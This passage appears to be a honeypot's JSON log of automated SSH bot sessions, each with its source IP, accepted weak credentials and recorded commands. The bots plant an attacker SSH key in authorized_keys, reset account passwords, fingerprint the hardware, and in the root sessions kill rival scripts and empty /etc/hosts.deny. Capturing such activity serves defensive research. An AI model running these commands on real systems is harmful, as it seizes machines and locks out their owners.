mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:45:43.816851+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:45:44.132120+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:45:44.457252+00:00","kind":"input","latency_ms":null,"data":"echo -e \"danieldaniel\\nM8hZZhvGdyOg\\nM8hZZhvGdyOg\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:45:44.791964+00:00","kind":"input","latency_ms":null,"data":"echo \"danieldaniel\\nM8hZZhvGdyOg\\nM8hZZhvGdyOg\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:45:45.118649+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:45:45.499187+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:45:45.830577+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:45:46.707170+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:45:47.038267+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:45:47.946522+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:45:48.275925+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:45:48.639388+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:45:48.967923+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:45:49.625165+00:00","kind":"output","latency_ms":null,"data":" 11:45:49 up 7 days, 8:35, 0 user, load average: 0.07, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:45:49.952628+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:45:50.714082+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:45:51.042729+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:45:51.586454+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:45:51.913649+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:45:52.578632+00:00","kind":"output","latency_ms":null,"data":"top - 11:45:52 up 7 days, 8:35, 0 user, load average: 0.07, 0.08, 0.07\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:45:52.907879+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:45:53.261543+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:45:53.587716+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:45:54.482252+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:45:54.810880+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:45:55.144090+00:00","kind":"output","latency_ms":null,"data":"daniel"},{"seq":29,"at":"2026-08-27T11:45:55.471230+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:45:56.693751+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:45:57.022913+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:45:58.340179+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"daniel","password":"danieldaniel","method":"password","accepted":true,"tier":"other"}]} {"id":"79ebdf76-ed7c-4355-95b7-93cad5300fce","name":"ruddy-solar-onager","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":40406,"username":"huser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1303,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:45:43.763868+00:00","ended_at":"2026-08-27T11:45:45.556381+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T11:45:02.843145+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:45:04.531106+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:45:12.869109+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:45:13.705637+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:45:15.636554+00:00","kind":"input","latency_ms":null,"data":"echo -e \"huser.123\\nxuonCVdm7x3L\\nxuonCVdm7x3L\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:45:17.080245+00:00","kind":"input","latency_ms":null,"data":"echo \"huser.123\\nxuonCVdm7x3L\\nxuonCVdm7x3L\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:45:17.919834+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:45:18.508368+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:45:19.622835+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:45:20.736123+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:45:22.859237+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:45:24.233986+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:45:26.014354+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:45:26.283165+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:45:27.197185+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:45:27.550949+00:00","kind":"output","latency_ms":null,"data":" 11:45:27 up 7 days, 8:35, 0 user, load average: 0.22, 0.23, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:45:28.776707+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:45:29.104819+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:45:29.946602+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:45:30.632379+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:45:31.465653+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:45:32.297558+00:00","kind":"output","latency_ms":null,"data":"top - 11:45:32 up 7 days, 8:35, 0 user, load average: 0.22, 0.23, 0.25\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:45:33.137181+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:45:34.020453+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:45:35.324497+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:45:35.951247+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:45:39.074034+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:45:39.459051+00:00","kind":"output","latency_ms":null,"data":"huser"},{"seq":29,"at":"2026-08-27T11:45:41.193695+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:45:42.309259+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:45:43.764638+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:45:44.816033+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"huser","password":"huser.123","method":"password","accepted":true,"tier":"other"}]} {"id":"cc4aff71-36c6-4253-bb14-82644f66ca46","name":"snowy-airy-heron","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":39684,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:45:36.791237+00:00","ended_at":"2026-08-27T11:45:38.839540+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:45:09.241198+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:45:09.504077+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:45:13.620474+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:45:15.382239+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:45:15.650659+00:00","kind":"input","latency_ms":null,"data":"echo \"root:3ANJ0sqLGMJZ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:45:15.927333+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:45:16.183687+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:45:17.442570+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:45:18.175367+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:45:18.440786+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:45:20.222302+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:45:20.489819+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:45:21.952159+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:45:22.220751+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:45:23.520799+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:45:23.786932+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:45:25.400451+00:00","kind":"output","latency_ms":null,"data":" 11:45:25 up 7 days, 8:35, 0 user, load average: 0.18, 0.13, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:45:25.665220+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:45:26.749221+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:45:27.014100+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:45:27.854247+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:45:28.120147+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:45:29.500718+00:00","kind":"output","latency_ms":null,"data":"top - 11:45:29 up 7 days, 8:35, 0 user, load average: 0.18, 0.13, 0.16\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:45:29.764707+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:45:30.990633+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:45:31.255731+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:45:33.302388+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:45:33.567605+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:45:35.413198+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:45:35.680002+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:45:36.527039+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:45:36.792190+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:45:38.762593+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"test2025!","method":"password","accepted":true,"tier":"other"}]} {"id":"4e206720-f61b-40ef-bd09-5e14bf814593","name":"diligent-earnest-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59210,"username":"huser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":447,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:45:30.084868+00:00","ended_at":"2026-08-27T11:45:31.382747+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-27T11:45:10.318054+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:45:10.765709+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:45:15.246525+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:45:15.931442+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:45:16.361829+00:00","kind":"input","latency_ms":null,"data":"echo -e \"huser.123\\nAGe5oYCbg2pd\\nAGe5oYCbg2pd\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:45:16.811421+00:00","kind":"input","latency_ms":null,"data":"echo \"huser.123\\nAGe5oYCbg2pd\\nAGe5oYCbg2pd\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:45:17.259298+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:45:17.696284+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:45:18.147170+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:45:18.926200+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:45:19.374804+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:45:20.193823+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:45:20.639781+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:45:20.902122+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:45:21.352012+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:45:21.888543+00:00","kind":"output","latency_ms":null,"data":" 11:45:21 up 7 days, 8:35, 0 user, load average: 0.08, 0.1, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:45:22.334096+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:45:23.229910+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:45:23.686023+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:45:23.992661+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:45:24.439558+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:45:25.093057+00:00","kind":"output","latency_ms":null,"data":"top - 11:45:25 up 7 days, 8:35, 0 user, load average: 0.08, 0.1, 0.09\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:45:25.540225+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:45:25.848137+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:45:26.298085+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:45:27.119884+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:45:27.566388+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:45:27.887447+00:00","kind":"output","latency_ms":null,"data":"huser"},{"seq":29,"at":"2026-08-27T11:45:28.334704+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:45:29.638339+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:45:30.086578+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:45:31.245541+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"huser","password":"huser.123","method":"password","accepted":true,"tier":"other"}]} {"id":"b4cea9e1-3b11-4ff1-adaf-d947918878b5","name":"frank-foggy-avocet","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":55802,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:45:25.825292+00:00","ended_at":"2026-08-27T11:45:27.889315+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T11:45:08.212519+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:45:08.503006+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:45:12.159583+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:45:12.436579+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:45:12.731644+00:00","kind":"input","latency_ms":null,"data":"echo \"root:O1C3PcQApETn\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:45:13.027614+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:45:13.320363+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:45:14.121565+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:45:14.415068+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:45:15.479225+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:45:15.770857+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:45:16.784132+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:45:17.079160+00:00","kind":"input","latency_ms":null,"data":"crontab 